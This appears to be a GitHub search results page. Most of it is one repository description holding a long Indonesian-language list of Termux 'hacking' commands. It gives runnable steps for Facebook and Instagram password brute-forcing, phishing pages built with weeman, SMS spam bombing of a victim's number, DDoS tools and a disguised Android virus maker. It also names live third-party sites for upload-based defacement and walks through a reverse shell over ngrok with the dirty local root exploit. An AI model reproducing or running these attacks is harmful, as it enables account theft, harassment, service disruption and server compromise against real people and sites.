Found 269 repositories(showing 30)
adrianhajdin
Develop Threads, Next.js 13 app that skyrocketed to 100 million sign-ups in less than 5 days, and dethroned giants like Twitter, ChatGPT, and TikTok to become the fastest-growing app ever!
Taoviqinvicible
1.[Script Termux] -Cmatrix *apt-get update *apt-get upgrade *apt-get install nmap *apt-get install python *apt-get install list *apt-get install cmatrix *cmatrix [1/11 18.28] +62 821-2770-8489: ✓Mempercantik Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py Hack FB ngincer $ apt update ( Enter ) $ apt upgrade ( Enter ) $ apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd wifi-hacker $ls $chmod +x wifi-hacker.sh $ls $./wifi-hacker.sh ✓ *ni tutor dari gua* TOOL TERMUX LENGKAP ⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕ Command Termux Hacking...... by:🎭ঔৣஓMuslimCyberSquadঔৣஓீ🎭 ⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕⭕ cara uninstall tool termux rm -rf toolsnya Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy CHATTING VIA TERMUX irssi /connet irc.freenode.net /nick w3wandroid /join #modol $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam PERKIRAAN cuaca curl http://wttr.in/ (lokasi) Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya Menampilkan animasi kereta :v $ pkg install sl $ sl menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya MEMUTAR MUSIC DI YOUTUBE VIA TERMUX $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dengan mengetik nomornya musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak music CRACK PASSWORD HASH $ git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ $ cd FHX-Hash-Killer $ python2 FHXHashKiller.py $ git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py ASCII ART MAPS - pkg install update && upgrade - pkg install perl - git clone https://github.com/x-xsystm/maps.git - cd maps - perl maps.pl - untuk Zoom tekan A - Password: (pejuang212) CARA MENGHIAS TAMPILAN TERMUX TOXIC TEAM $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ pkg install ncurses-utils $ pkg install ruby $ pkg install lolcat $ pkg install cowsay $ gem install lolcat $ nano .bashrc clear blue='\e[1;34m' green='\e[1;32m' purple='\e[1;35m' cyan='\e[1;36m' red='\e[1;31m' white='\e[1;37m' yellow='\e[1;33m' NOW=`date "+%d.%m.%Y"` TIME=`date "+%H:%M"` cowsay -f eyes **Welcome To TOXIC hacking tool** | lolcat toilet -f standard " **TOXIC** " -F gay neofetch echo " Time : " $TIME | lolcat date | lolcat echo echo Username : Cyber | lolcat echo Hostname : TOXIC | lolcat echo echo @localhost:~# | lolcat echo root@localhost:~$ | lolcat echo -e $green echo root@CYBER:~$ TUTORIAL MEMBUAT VIRUS SEPERTI APLIKASI ASLINYA Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done BOOM SPAM DI TERMUX apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default aja Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (Install *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh LITESPAM $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... Spammer GRAB $pkg install python2 $pip2 install requests $pkg install git $git clone http://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $python2 spammer.py nomor hp korban --delay 30 spam sms jdid 1.PKG install PHP 2.pkg install cURL 3.curl https://pastebin.com/raw/9BYy1 JVc -o jdid.php 4.php jdid.php Hacking spammer by seni $apt update && apt upgrade $apt install python2 php $pip2 install requests $apt install nano $apt install git $git clone https://github.com/Senitopeng/ SpamSms.git $cd SpamSms $python2 mantan.py HACKING DAN TRICK FB VIA TERMUX AUTO BOOT FACEBOOK $ git clone https://github.com/Senitopeng/BotFbBangDjon.git $ cd BotFbBangDjon $ python2 bangdjon.py Cara crack id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction HACKING THOOLS MBF FACEBOOK $ pkg update && upgrade $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/pirmansx/mbf $ cd mbf $ python2 MBF.py (HACKING FB LEWAT TERMUX) $ apt update $ apt upgrade $ apt install python2 $ apt install python2-dev $ apt install wget $ dip2 install mechanize $ cd/sterage/emulated/0 $ python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $ storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung BRUTEFORCE $ apt update $ apt upgrade $ apt install python $ apt install pip $ pip install wordlist $ apt install worlist $ Wordlist -h $ cd /sdcard $ Cat pas.txt FACEBOOK BRUTO FORCE $ apt update $ apt upgrade $ apt install python2 $ apt install python2-dev $ apt install wget $ pip2 install mechanize $ cd/storage/emulated/0 $ python2 fbbrute.py $ storage/emulated/0/password.txt Hacking tool weeman $ apt-get update $ apt-get upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/evait-security/weeman.git $ ls $ cd weeman $ ls $ python2 weeman.py $ show $set url https://www.facebook.com $set action_url https://www.facebook.com $ show buka new season (new tab) /lembar ke 2 $ ifconfig jika slesai copy no addres yg tertera. jngn sampai salah karna ada 2 addres disitu. jika tdk tau yg mna tanya. stelah copy no adres. buka lembar pertama lagi tulis $ run kasih adres tdi ke target. contoh 125.25.175.88:8080 ingt hrus ksh port > :8080 jika sudah dibuka dngn dia. saat dia login nnti. email. pass. tertera. serta data" akun target.... hacking fbbrute2 by decsec $ apt update (enter) $ apt upgrade (enter) $ apt install python2 (enter) $ apt install wget (enter) $ pip2 install mechanize (enter) $ cd /sdcard (enter) $ mkdir facebrute (enter) $ cd facebrute (enter) $ wget http://override.waper.co/files/facebook.apk $ wget http://override.waper.co/files/password.apk $ mv facebook.apk facebook.py (enter) $ mv password.apk password.txt (enter) $ python2 facebook.py (enter) #Selesai *note: Untuk masalah wordlist bisa buat sendiri kok ^^. Buat sendiri lebih efektif... hacking fbbrute3 $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ Pip2 install urllib3 chardet certifi idna requests( Enter ) $ Apt install openssl curl ( Enter ) $ Pkg install libcurl ( Enter ) $ Ln -s/sdcard ( Enter ) $ cd sdcard ( Enter ) $ Python2 fb.py ( Enter ) Hacking Botkomena fb $pkg update && pkg upgrade $pkg install git $pkg install python2 $pip2 install mechanize $git clone https://github.com/Senitopeng/ Botkomena.git $cd Botkomena $python2 botkomena.py Cara Install OSIF ( Open Source Information Facebook ) $ pkg install python2 $ git clone https://github.com/ciku370/OSIF $ cd OSIF $ pip2 install -r requirements.txt Dan cara menjalankannya menggunakan perintah : python2 osif.py weemen 1.download dulu termux 2.instal termux :V 3.ketik apt install git python2 4.ketik git clone https://github.com/evait-security/weeman.git 5.ketik cd weeman 6.ketik python2 weeman.py kalau udh ke install seperti ini 1.ketik set url https://m.facebook.com 2.ketik set action_url https://m.facebook.com/login 3.ketik run Kalau sudah begini . ketik 127.0.0.1:8080 pada browser maka web pishing yg di buat tadi sudah jadi lalu lemparkan ke target link 127.0.0.1:8080 lalu kalau korban terjebak , di mana email dan password nya ? masuk dalam termux jangan di tutup weeman tidak hanya dapat di gunakan sebagai media pishing facebook saja. kita juga dapat membuat web pishing situs lainya misalnya twitter instagram dll asal memiliki/terdapat form input Hacking instagram $ apt update && apt upgrade -y $ apt install nodejs git $ cd Instagram-Private-Tools $ node index.js $ git clone https://github.com/ccocot/Instagram-Private-Tools.git $ npm install *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php *Di google masih banyak kok Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Kalau masih ada yang bin [8/11 06.41] +62 838-5688-2861: TOOL TERMUX Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd $ chmod +x d-tect.py $ python2 d-tect.py cara uninstall tool termux rm -rf toolsnya cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta :v $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya.  Tutorial membuat virus seperti aplikasi aslinya🚨 Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction cara membuat virus cd Vbug/vbug.py cd /storage/emulated/0/Vbug cd vbug Python2 vbug.py CRACK PASSWORD HASH git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ cd FHX-Hash-Killer python2 FHXHashKiller.py git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py pkg install irssi irssi (enter) /connect chat.freenode.net /nick oki /join #mrmaze Cara install Metasploit di termux (No Root) ~ apt update && apt upgrade ~ apt install curl ~ curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh ~ chmod +x metasploit.sh ~ ./metasploit.sh ... Tunggu proses instalasi sekitar 30-40 menit tergantung koneksi internet ... ( hack fb via termux ) $apt update $apt upgrade $apt install python2 $apt install python2-dev $apt install wget $dip2 install mechanize $cd/sterage/emulated/0 $python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung *silahkan mencoba* tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools pip install mps_youtube pip install youtube_dl apt install mpv mpsyt /judul $ pkg update && pkg upgrade CHATTING VIA TERMUX $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam 100% work boom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjhj +6282399188718 Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (```Install``` *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done Cara Root Server Di Termux Dengan Ngrok Perl/PHP BackConnecter Mass Deface. 1. Install~ Buka Termux 2. Install Ngrok Registrasi Autthokennya. (http://ngrok.com/download;http://ngrok.com/signup) $ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip $ unzip ngrok-stable-linux-arm.zip ngrok $ ./ngrok authtoken JWJDKNxxxxxxxxxx $ ./ngrok tcp port :~# Welcome : Plan Free "0.tcp.ngrok.io:port-ngrok ~> localhost:port" 3. Download Perl/PHP Backconnecter (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) dan Edit file nya, cari $ip dan $port ganti dengan (0.tcp.ngrok.io:port-ngrok) ~>Upload ke website (PERL: ON)(PHP: ON) 5. in termux command : $ nc -lnvp port 6. in backdoor shell : $ perl perl-reverse-shell.pl (atau) > http://situs.co.li/perl-reverse-shell.php (Run the script simply by browsing to the newly uploaded file in your web browser) .----(after backconnect successfully)--- 7. upload LOCALROOT $ wget https://domain.com/localroot/dirty $ chmod 777 dirty $ ./dirty New password: ndasmu (successfully rooted) 8. import TTY shell ===>jika menggunakan dirty<=== $ echo "import pty; pty.spawn('/bin/bash')" > /tmp/sad.py $ python /tmp/sad.py ===>jika menggunakan cowroot<=== $ python -c 'import pty;pty.spawn("/usr/bin/passwd")' (https://evertpot.com/189/) .-------------------------------------------- 9. login as ROOT $ su rintoar Password: ndasmu .-------------------------------------------- 10 ./mass (https://m.youtube.com/watch?v=HPQQok40v78) .-------------------------------------------- WEEMAN [✓] apt update && apt upgrade -y apt install git -y apt install python2 -y git clone https://github.com/evait-security/weeman cd weeman chmod 777 weeman.py python2 weeman.py Ex set url http://facebook.com set action_url http://facebook.com run ___________________________________________ Hunner framework apt update apt install python apt install git -y git clone https://github.com/b3-v3r/Hunner cd Hunner chmod 777 hunner.py python hunner.py ___________________________________________ SQLMAP [✓] apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap Python2 sqlmap.py ______ Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump ___________________________________ DDOS XERXES [✓] clang xerxes.c -o xerxes ./xerxes website 80 ___________________________________ DDOS TORSHAMMER [✓] apt-get update apt-get install python2 apt-get install tor apt-get install git git clone https://github.com/dotfighter/torshammer.git cd torshammer python2 torshammer.py -T -t website ___________________________________ BRUTEFORCE [✓] apt update apt upgrade apt install python apt install pip pip install wordlist apt install worlist Wordlist -h cd /sdcard Cat pas.txt ___________________________________ Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com ___________________________________ Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py ___________________________________ BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py ___________________________________ HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run ___________________________________________ RED HAWK apt update apt install git git clone https://github.com/Tuhinshubhra/RED_HAWK cd RED_HAWK chmod +x rhawk.php apt install php ls php rhawk.php ___________________________________________ D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com ___________________________________________ viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com __________________ Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py PERKIRAAN cuaca curl http://wttr.in/ (lokasi) tool Routersploit apt install git apt install python2 pip2 install requests git clone https://github.com/reverse-shell/routersploit.git cd routersploit pip install -r requirements.txt termux-fix-shebang rsf.py Cara pake cd routersploit ./ rsf.py use scanners/autopwn show options set target 192.168.1.1 set port 8080 set threads 10 masukkan exploitsnya set target 192.168.1.1 -check -run tool ubuntu $ apt update $ apt install git $ apt install wget $ 